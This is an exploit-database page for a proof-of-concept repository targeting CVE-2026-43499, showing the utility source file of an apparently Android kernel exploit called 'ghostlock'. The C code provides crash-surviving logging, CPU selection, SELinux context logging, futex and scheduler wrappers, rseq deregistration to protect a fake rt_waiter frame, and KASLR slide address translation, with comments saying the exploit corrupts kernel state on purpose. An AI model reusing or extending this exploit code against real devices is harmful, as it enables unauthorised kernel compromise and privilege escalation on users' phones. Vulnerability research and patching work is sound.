Exploit database

GH-d3dd38c935aa1f58d535fc12799ef27f

zzzxxxxxxxxxx/ghostlock-got-w29

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

165 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files10

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/ghostlock-source/src/util.c

C · 7,473 bytes
#include "common.h"

/* -------- persistent, crash-surviving log sink (see util.h pr_* macros) ----
   The exploit corrupts kernel state on purpose, so the process can die
   mid-attempt and take its stdout/logcat with it.  Every pr_* line is also
   appended to a plain file (--log-file, default /data/local/tmp/ghostlock.log).
   The fd is opened once, early (before any fd spray), duplicated to a high
   number (>=900) so it cannot be clobbered by later dup2 loops, and inherited
   across fork so child lines are captured.  write() alone survives a userspace
   crash; flush=1 (pr_* final-result lines) also fsyncs when --fsync is set. */
static int poc_log_fd = -1; /* -1 = unopened, -2 = permanently failed */
static const char *poc_log_path = "/data/local/tmp/ghostlock.log";
static int poc_log_fsync = 0;

void ghostlock_log_init(const char *path, int fsync_flag) {
  if (path && path[0]) {
    poc_log_path = path;
  }
  poc_log_fsync = fsync_flag;
}

void poc_flog(int flush, const char *fmt, ...) {
  if (poc_log_fd == -2) {
    return;
  }
  if (poc_log_fd < 0) {
    int fd = open(poc_log_path, O_WRONLY | O_CREAT | O_APPEND | O_CLOEXEC, 0600);
    if (fd < 0) {
      poc_log_fd = -2;
      return;
    }
    int hi = fcntl(fd, F_DUPFD_CLOEXEC, 900);
    if (hi >= 0) {
      close(fd);
      fd = hi;
    }
    poc_log_fd = fd;
  }

  char buf[1024];
  struct timespec ts;
  clock_gettime(CLOCK_REALTIME, &ts);
  int n = snprintf(buf, sizeof(buf), "%ld.%03ld %d ", (long)ts.tv_sec,
                   ts.tv_nsec / 1000000, (int)getpid());
  if (n < 0) {
    n = 0;
  }
  if (n > (int)sizeof(buf)) {
    n = (int)sizeof(buf);
  }
  va_list ap;
  va_start(ap, fmt);
  int m = vsnprintf(buf + n, sizeof(buf) - (size_t)n, fmt, ap);
  va_end(ap);
  if (m > 0) {
    n += m;
    if (n > (int)sizeof(buf)) {
      n = (int)sizeof(buf);
    }
  }
  (void)!write(poc_log_fd, buf, (size_t)n);
  /* The RT waiter's spin starves f2fs writeback: any fsync in the trigger
     window blocks (observed: consumer D-state in __filemap_fdatawait_range
     before the walk ran).  fsync is opt-in (--fsync) so the hot path never
     waits on storage. */
  if (flush && poc_log_fsync) {
    fsync(poc_log_fd);
  }
}

static int read_sysfs_u64(const char *path, uint64_t *out) {
  char buf[64];
  int fd = open(path, O_RDONLY | O_CLOEXEC);
  if (fd < 0) {
    return 0;
  }
  ssize_t n = read(fd, buf, sizeof(buf) - 1);
  int saved_errno = errno;
  close(fd);
  if (n <= 0) {
    errno = saved_errno;
    return 0;
  }
  buf[n] = 0;

  char *end = NULL;
  errno = 0;
  unsigned long long value = strtoull(buf, &end, 10);
  if (errno || end == buf) {
    return 0;
  }
  while (*end == ' ' || *end == '\t' || *end == '\r' || *end == '\n') {
    end++;
  }
  if (*end) {
    return 0;
  }
  *out = (uint64_t)value;
  return 1;
}

int runtime_cpu = -1;

/* Pick the fastest CPU that is currently allowed by the cpuset.  The shell
   cpuset changes dynamically and may exclude the fastest core; verify against
   the CURRENT affinity and fall back to CPU 0, which is always allowed. */
int init_runtime_cpu(void) {
  cpu_set_t affinity;
  if (sched_getaffinity(0, sizeof(affinity), &affinity) != 0) {
    return 0;
  }

  long configured = sysconf(_SC_NPROCESSORS_CONF);
  if (configured <= 0 || configured > CPU_SETSIZE) {
    configured = CPU_SETSIZE;
  }

  int best = -1;
  int fallback = -1;
  uint64_t best_freq = 0;
  uint64_t best_capacity = 0;
  for (int cpu = 0; cpu < configured; cpu++) {
    if (!CPU_ISSET(cpu, &affinity)) {
      continue;
    }

    char path[160];
    uint64_t online = 1;
    snprintf(path, sizeof(path), "/sys/devices/system/cpu/cpu%d/online", cpu);
    if (read_sysfs_u64(path, &online) && online != 1) {
      continue;
    }
    fallback = cpu;

    uint64_t freq = 0;
    snprintf(path, sizeof(path),
             "/sys/devices/system/cpu/cpu%d/cpufreq/cpuinfo_max_freq", cpu);
    if (!read_sysfs_u64(path, &freq)) {
      snprintf(path, sizeof(path),
               "/sys/devices/system/cpu/cpu%d/cpufreq/scaling_max_freq", cpu);
      if (!read_sysfs_u64(path, &freq)) {
        continue;
      }
    }

    uint64_t capacity = 0;
    snprintf(path, sizeof(path),
             "/sys/devices/system/cpu/cpu%d/cpu_capacity", cpu);
    (void)read_sysfs_u64(path, &capacity);

    if (best < 0 || freq > best_freq ||
        (freq == best_freq && capacity > best_capacity) ||
        (freq == best_freq && capacity == best_capacity && cpu > best)) {
      best = cpu;
      best_freq = freq;
      best_capacity = capacity;
    }
  }

  if (best < 0) {
    int current = sched_getcpu();
    if (current >= 0 && current < CPU_SETSIZE && CPU_ISSET(current, &affinity)) {
      best = current;
    } else {
      best = fallback;
    }
    if (best >= 0) {
      pr_warning("CPU max frequency unavailable; fallback cpu=%d\n", best);
    }
  }
  if (best < 0) {
    errno = ENODEV;
    return 0;
  }
  if (!CPU_ISSET(best, &affinity)) {
    pr_warning("runtime_cpu=%d excluded from current cpuset; fallback CPU 0\n",
               best);
    best = 0;
  }
  runtime_cpu = best;
  pr_success("runtime performance cpu=%d max_freq=%llu capacity=%llu\n",
             best, (unsigned long long)best_freq,
             (unsigned long long)best_capacity);
  return 1;
}

void read_first_line(const char *path, char *buf, size_t len) {
  if (!len) {
    return;
  }
  snprintf(buf, len, "unreadable");
  int fd = open(path, O_RDONLY | O_CLOEXEC);
  if (fd < 0) {
    return;
  }
  ssize_t n = read(fd, buf, len - 1);
  int saved_errno = errno;
  close(fd);
  if (n <= 0) {
    errno = saved_errno;
    return;
  }
  buf[n] = 0;
  buf[strcspn(buf, "\r\n")] = 0;
}

void log_startup_context(void) {
  char attr[256];
  char enforce[32];
  read_first_line("/proc/self/attr/current", attr, sizeof(attr));
  read_first_line("/sys/fs/selinux/enforce", enforce, sizeof(enforce));
  pr_success("startup pid=%d uid=%u attr=%s enforce=%s runtime_cpu=%d\n",
             getpid(), getuid(), attr, enforce, runtime_cpu);
}

void log_slide_child_context(void) {
  pr_success("slide child pid=%d uid=%u runtime_cpu=%d\n",
             getpid(), getuid(), runtime_cpu);
}

void disable_rseq_for_thread(void) {
  /* Deregister the restartable sequence so a preemption does NOT leave
     TIF_NOTIFY_RESUME -> do_notify_resume() on a syscall return path (its
     frame lands on the fake rt_waiter window and clobbers task/lock words).
     glibc registers rseq at startup; rseq(NULL, 0, 0, 0, 0) deregisters. */
  syscall(SYS_rseq, 0UL, 0UL, 0UL, 0UL, 0UL);
}

long futex_op(uint32_t *uaddr, int op, uint32_t val,
              const struct timespec *timeout, uint32_t *uaddr2,
              uint32_t val3) {
  return syscall(SYS_futex, uaddr, op, val, timeout, uaddr2, val3);
}

long sched_setattr_tid(int tid, int nice_value) {
  struct local_sched_attr attr;
  memset(&attr, 0, sizeof(attr));
  attr.size = sizeof(attr);
  attr.sched_policy = SCHED_BATCH;
  attr.sched_nice = nice_value;
  return syscall(SYS_sched_setattr, tid, &attr, 0);
}

uintptr_t kaslr_image_addr(uintptr_t image_addr) {
  /* Anchor on _stext: kaslr_base is the runtime _stext while image_addr is a
     link-time kimage address relative to _text(0x8080000); the two differ by
     0x800, so anchoring on KIMAGE_STEXT_LINK yields image + slide. */
  return kaslr_base + (image_addr - KIMAGE_STEXT_LINK);
}

uintptr_t canon_addr(uintptr_t image_addr) {
  return kaslr_image_addr(image_addr);
}